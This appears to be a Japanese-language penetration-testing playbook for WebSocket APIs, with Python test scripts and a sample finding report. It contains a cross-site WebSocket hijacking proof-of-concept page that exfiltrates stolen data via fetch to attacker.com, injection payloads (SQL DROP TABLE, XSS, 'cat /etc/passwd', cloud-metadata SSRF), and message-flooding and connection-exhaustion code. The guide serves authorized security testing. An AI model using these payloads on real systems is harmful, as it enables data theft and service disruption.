testing-websocket-api-security

WebSocket API セキュリティのテスト

使用する場面

• WebSocket（ws://）またはセキュア WebSocket（wss://）プロトコルを使用するリアルタイム通信 API を評価する場合
• 攻撃者のページが正規の WebSocket サーバーに接続する、クロスサイト WebSocket ハイジャック（CSWSH）をテストする場合
• WebSocket 接続とメッセージに対する認証および認可の適用状況を評価する場合
• インジェクションの脆弱性がないか、WebSocket メッセージのペイロードに対する入力検証をテストする場合
• メッセージの大量送信や過大なフレームによるサービス拒否に対して、WebSocket の実装を評価する場合

書面による許可なしに使用しないでください。WebSocket のテストはリアルタイムサービスを妨害し、ほかの接続中のユーザーに影響を与える可能性があります。

前提条件

• WebSocket エンドポイントとテスト範囲を明記した書面による許可
• WebSocket のインターセプト機能を備えた Burp Suite Professional
• websockets と asyncio ライブラリを備えた Python 3.10+
• WebSocket のハンドシェイクとフレームを確認するためのブラウザ開発者ツール
• 手動での WebSocket 操作用の wscat CLI ツール：npm install -g wscat
• 使用されている WebSocket サブプロトコル（JSON-RPC、STOMP、カスタム）に関する知識

ワークフロー

ステップ 1：WebSocket エンドポイントの特定とハンドシェイクの分析

import asyncio
import websockets
import json
import ssl
import time

WS_URL = "wss://target-api.example.com/ws"
AUTH_TOKEN = "Bearer <token>"

# Capture and analyze the WebSocket handshake
async def analyze_handshake():
    """Analyze WebSocket upgrade request and response headers."""
    try:
        async with websockets.connect(
            WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN},
            ssl=ssl.create_default_context()
        ) as ws:
            print(f"Connected to: {WS_URL}")
            print(f"Protocol: {ws.subprotocol}")
            print(f"Extensions: {ws.extensions}")

            # Send a test message
            test_msg = json.dumps({"type": "ping"})
            await ws.send(test_msg)
            response = await asyncio.wait_for(ws.recv(), timeout=5)
            print(f"Server response: {response}")

            return True
    except websockets.exceptions.InvalidStatusCode as e:
        print(f"Connection rejected: {e.status_code}")
        return False
    except Exception as e:
        print(f"Connection error: {e}")
        return False

asyncio.run(analyze_handshake())

ステップ 2：認証と認可のテスト

async def test_ws_authentication():
    """Test if WebSocket requires authentication."""
    results = []

    # Test 1: Connect without any authentication
    try:
        async with websockets.connect(WS_URL) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "No authentication",
                "status": "VULNERABLE",
                "response": resp[:200]
            })
            print(f"[VULN] WebSocket accessible without authentication")
    except websockets.exceptions.InvalidStatusCode:
        results.append({"test": "No authentication", "status": "SECURE"})
    except Exception as e:
        results.append({"test": "No authentication", "status": f"ERROR: {e}"})

    # Test 2: Connect with invalid token
    try:
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": "Bearer invalid_token"}) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "Invalid token",
                "status": "VULNERABLE",
                "response": resp[:200]
            })
    except websockets.exceptions.InvalidStatusCode:
        results.append({"test": "Invalid token", "status": "SECURE"})
    except Exception as e:
        results.append({"test": "Invalid token", "status": f"ERROR: {e}"})

    # Test 3: Connect with expired token
    expired_token = "Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired"
    try:
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": expired_token}) as ws:
            await ws.send(json.dumps({"type": "get_user_data"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({"test": "Expired token", "status": "VULNERABLE"})
    except (websockets.exceptions.InvalidStatusCode, Exception):
        results.append({"test": "Expired token", "status": "SECURE"})

    # Test 4: Token in query parameter (leakage risk)
    try:
        async with websockets.connect(f"{WS_URL}?token={AUTH_TOKEN}") as ws:
            await ws.send(json.dumps({"type": "ping"}))
            resp = await asyncio.wait_for(ws.recv(), timeout=5)
            results.append({
                "test": "Token in URL",
                "status": "INFO - Token accepted in query parameter (may leak in logs)"
            })
    except Exception:
        results.append({"test": "Token in URL", "status": "REJECTED"})

    for r in results:
        print(f"  [{r['status'][:10]}] {r['test']}")

    return results

asyncio.run(test_ws_authentication())

ステップ 3：クロスサイト WebSocket ハイジャック（CSWSH）のテスト

async def test_cswsh():
    """Test for Cross-Site WebSocket Hijacking vulnerability."""
    # CSWSH occurs when the WebSocket server does not validate the Origin header
    # An attacker's website can connect to the legitimate WebSocket and steal data

    origins_to_test = [
        None,                                    # No Origin header
        "https://evil.com",                      # Attacker domain
        "https://target-api.example.com.evil.com",  # Subdomain confusion
        "null",                                  # Null origin (sandboxed iframe)
        "https://target-api.example.com",        # Legitimate origin
        "http://target-api.example.com",         # HTTP downgrade
    ]

    print("=== CSWSH Testing ===\n")
    for origin in origins_to_test:
        try:
            headers = {"Authorization": AUTH_TOKEN}
            if origin:
                headers["Origin"] = origin

            async with websockets.connect(WS_URL, extra_headers=headers) as ws:
                # Try to receive data that should be restricted
                await ws.send(json.dumps({"type": "get_messages"}))
                resp = await asyncio.wait_for(ws.recv(), timeout=5)

                if origin and origin != "https://target-api.example.com":
                    print(f"[CSWSH] Origin '{origin}' -> ACCEPTED (data received)")
                else:
                    print(f"[OK] Origin '{origin}' -> Accepted (legitimate)")
        except websockets.exceptions.InvalidStatusCode as e:
            print(f"[BLOCKED] Origin '{origin}' -> Rejected ({e.status_code})")
        except Exception as e:
            print(f"[ERROR] Origin '{origin}' -> {e}")

asyncio.run(test_cswsh())

# PoC HTML page for CSWSH exploitation
CSWSH_POC = """
<!DOCTYPE html>
<html>
<head><title>CSWSH PoC</title></head>
<body>
<script>
// This page, hosted on attacker.com, connects to the target WebSocket
// If the server doesn't validate Origin, the victim's browser will
// send cookies/credentials and the attacker receives the data

var ws = new WebSocket("wss://target-api.example.com/ws");

ws.onopen = function() {
    console.log("Connected to target WebSocket");
    ws.send(JSON.stringify({type: "get_messages"}));
    ws.send(JSON.stringify({type: "get_user_data"}));
};

ws.onmessage = function(event) {
    console.log("Stolen data:", event.data);
    // Exfiltrate to attacker server
    fetch("https://attacker.com/collect", {
        method: "POST",
        body: event.data
    });
};
</script>
<p>Loading... (CSWSH attack in progress)</p>
</body>
</html>
"""

ステップ 4：WebSocket メッセージインジェクションのテスト

async def test_ws_injection():
    """Test WebSocket messages for injection vulnerabilities."""

    INJECTION_PAYLOADS = {
        "sql": [
            {"type": "search", "query": "' OR '1'='1"},
            {"type": "search", "query": "'; DROP TABLE messages;--"},
            {"type": "get_message", "id": "1 UNION SELECT username,password FROM users--"},
        ],
        "nosql": [
            {"type": "search", "query": {"$ne": ""}},
            {"type": "get_user", "filter": {"$gt": ""}},
        ],
        "xss": [
            {"type": "send_message", "content": "<script>alert('xss')</script>"},
            {"type": "send_message", "content": "<img src=x onerror=alert(1)>"},
            {"type": "update_name", "name": "Test<script>document.location='https://evil.com'</script>"},
        ],
        "command": [
            {"type": "process", "file": "test; cat /etc/passwd"},
            {"type": "convert", "input": "test | id"},
        ],
        "ssrf": [
            {"type": "load_url", "url": "http://169.254.169.254/latest/meta-data/"},
            {"type": "webhook", "callback": "http://localhost:6379/"},
        ],
        "overflow": [
            {"type": "send_message", "content": "A" * 100000},
            {"type": "search", "query": "B" * 1000000},
        ],
    }

    async with websockets.connect(WS_URL,
        extra_headers={"Authorization": AUTH_TOKEN}) as ws:

        for category, payloads in INJECTION_PAYLOADS.items():
            for payload in payloads:
                try:
                    await ws.send(json.dumps(payload))
                    resp = await asyncio.wait_for(ws.recv(), timeout=5)

                    # Analyze response for injection indicators
                    resp_lower = resp.lower()
                    indicators = []
                    if any(kw in resp_lower for kw in ["sql", "syntax", "mysql", "postgresql"]):
                        indicators.append("SQL error")
                    if any(kw in resp_lower for kw in ["root:", "uid=", "etc/passwd"]):
                        indicators.append("Command output")
                    if any(kw in resp_lower for kw in ["ami-id", "instance-id", "metadata"]):
                        indicators.append("SSRF data")
                    if "script" in resp_lower and "xss" not in category:
                        indicators.append("Reflected XSS")

                    if indicators:
                        print(f"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}")
                    elif len(resp) > 10000:
                        print(f"[OVERFLOW] Large response: {len(resp)} bytes")
                except asyncio.TimeoutError:
                    pass
                except websockets.exceptions.ConnectionClosed:
                    print(f"[CRASH] Connection closed after {category} payload")
                    # Reconnect
                    break

asyncio.run(test_ws_injection())

ステップ 5：サービス拒否のテスト

async def test_ws_dos():
    """Test WebSocket for DoS vulnerabilities."""
    print("=== WebSocket DoS Testing ===\n")

    # Test 1: Message flooding
    async def flood_test():
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN}) as ws:
            count = 0
            start = time.time()
            for i in range(10000):
                try:
                    await ws.send(json.dumps({"type": "ping", "id": i}))
                    count += 1
                except websockets.exceptions.ConnectionClosed:
                    break
            elapsed = time.time() - start
            print(f"  Flood test: {count} messages in {elapsed:.1f}s ({count/elapsed:.0f} msg/s)")

    await flood_test()

    # Test 2: Large message
    async def large_message_test():
        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB to 10MB
        async with websockets.connect(WS_URL,
            extra_headers={"Authorization": AUTH_TOKEN},
            max_size=20*1024*1024) as ws:
            for size in sizes:
                try:
                    large_msg = json.dumps({"type": "data", "payload": "A" * size})
                    await ws.send(large_msg)
                    resp = await asyncio.wait_for(ws.recv(), timeout=5)
                    print(f"  Large message ({size} bytes): Accepted")
                except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:
                    print(f"  Large message ({size} bytes): Rejected/Disconnected")
                    break

    await large_message_test()

    # Test 3: Connection exhaustion
    async def connection_exhaustion():
        connections = []
        for i in range(100):
            try:
                ws = await websockets.connect(WS_URL,
                    extra_headers={"Authorization": AUTH_TOKEN})
                connections.append(ws)
            except Exception:
                break
        print(f"  Connection exhaustion: {len(connections)} concurrent connections established")
        for ws in connections:
            await ws.close()

    await connection_exhaustion()

asyncio.run(test_ws_dos())

重要な概念

用語	定義
WebSocket	HTTP アップグレードハンドシェイクを介して確立される、単一の TCP 接続上での全二重通信プロトコル
CSWSH	クロスサイト WebSocket ハイジャック。被害者のブラウザの認証情報を使用して、悪意のあるウェブサイトが正規のサーバーへの WebSocket 接続を開始する攻撃です
Origin の検証	WebSocket ハンドシェイク中に Origin ヘッダーをサーバー側で確認し、未許可のドメインからの接続を拒否して CSWSH を防ぐことです
WebSocket フレーム	WebSocket 通信におけるデータの基本単位で、オペコード、マスキング、ペイロード長、ペイロードデータを含みます
アップグレードハンドシェイク	Upgrade: websocket と Connection: Upgrade ヘッダーを含み、WebSocket 接続を確立する HTTP リクエストです
メッセージの大量送信	サーバーリソース（メモリ、CPU、帯域幅）を枯渇させるため、大量の WebSocket メッセージを送信することです

ツールとシステム

• Burp Suite Professional：WebSocket のハンドシェイクとメッセージをインターセプトし、メッセージの変更や再送を可能にします
• OWASP ZAP：メッセージのファジング、インターセプト、ブレークポイント機能を備えた WebSocket テストツールです
• wscat：手動テスト用のコマンドライン WebSocket クライアントです：wscat -c wss://target.com/ws -H "Authorization: Bearer token"
• websocat：プロキシ、ブロードキャスト、スクリプト機能を備えた高度な CLI WebSocket ツールです
• Autobahn TestSuite：WebSocket プロトコルへの準拠状況とセキュリティを包括的にテストするフレームワークです

一般的なシナリオ

シナリオ：チャットアプリケーションの WebSocket セキュリティ評価

コンテキスト：メッセージングアプリケーションが、リアルタイムチャットに WebSocket を使用しています。WebSocket エンドポイントは、メッセージ配信、入力中インジケーター、既読通知、ユーザーのプレゼンスを処理します。認証には Cookie を使用します。

アプローチ：

1. WebSocket のハンドシェイクを分析します。セッション Cookie 認証を使用して、wss://chat.example.com/ws への接続が確立されます。
2. CSWSH をテストします。WebSocket サーバーは Origin ヘッダーを検証しないため、攻撃者のページから接続して被害者のメッセージを受信できます。
3. 認証をテストします。有効期限が切れたセッション Cookie でも WebSocket が接続を受け入れます（セッション検証はハンドシェイク時のみ行われ、その後のメッセージでは行われません）。
4. 認可をテストします。ユーザー A は、チャンネル ID を偽造することで、メンバーではないプライベートチャンネルにもメッセージを送信できます。
5. インジェクションをテストします。メッセージの内容はサニタイズされずに保存されるため、メッセージ本文内の XSS ペイロードが他のユーザーのブラウザーで実行されます。
6. メッセージの大量送信をテストします。サーバーはレート制限なしで毎秒 5000 件のメッセージを受け入れ、CPU 使用率が急上昇します。
7. WebSocket メッセージに送信者の内部ユーザー ID、メールアドレス、IP アドレスが含まれていることを発見します（情報漏えい）。

注意点：

• アプリケーションがトークンベースの認証を使用しているため CSWSH のテストを見落とすこと（WebSocket では Cookie が自動的に送信されます）
• 初回のハンドシェイク認証だけをテストし、その後のメッセージに対する認可を検証しないこと
• ペイロードが HTTP パラメーターではなく JSON WebSocket フレーム内にあるため、インジェクションの脆弱性を見落とすこと
• 再接続時の動作をテストしないこと（サーバーは再接続時に認証を再検証するか）
• WebSocket 接続が HTTP レベルのレート制限や WAF ルールを回避する可能性を無視すること

出力形式

## Finding: Cross-Site WebSocket Hijacking Enables Real-Time Data Theft

**ID**: API-WS-001
**Severity**: High (CVSS 8.1)
**Affected Endpoint**: wss://chat.example.com/ws

**Description**:
The WebSocket server does not validate the Origin header during the
handshake. An attacker can host a malicious web page that opens a
WebSocket connection to the chat server using the victim's session
cookie. All messages, typing indicators, and presence data are
forwarded to the attacker in real time.

**Proof of Concept**:
Host the CSWSH PoC page on attacker.com. When a logged-in user
visits the page, the JavaScript establishes a WebSocket connection
to the chat server. The server authenticates the connection using
the victim's cookie and delivers all real-time chat data to the
attacker's connection.

**Impact**:
Real-time interception of all private messages, presence data,
and typing indicators for any user who visits the attacker's page.

**Remediation**:
1. Validate the Origin header against an allowlist of legitimate domains
2. Implement CSRF tokens in the WebSocket handshake URL
3. Use token-based authentication (Authorization header) instead of cookies for WebSocket
4. Implement per-message authorization checks, not just connection-level authentication
5. Add rate limiting on WebSocket message volume per connection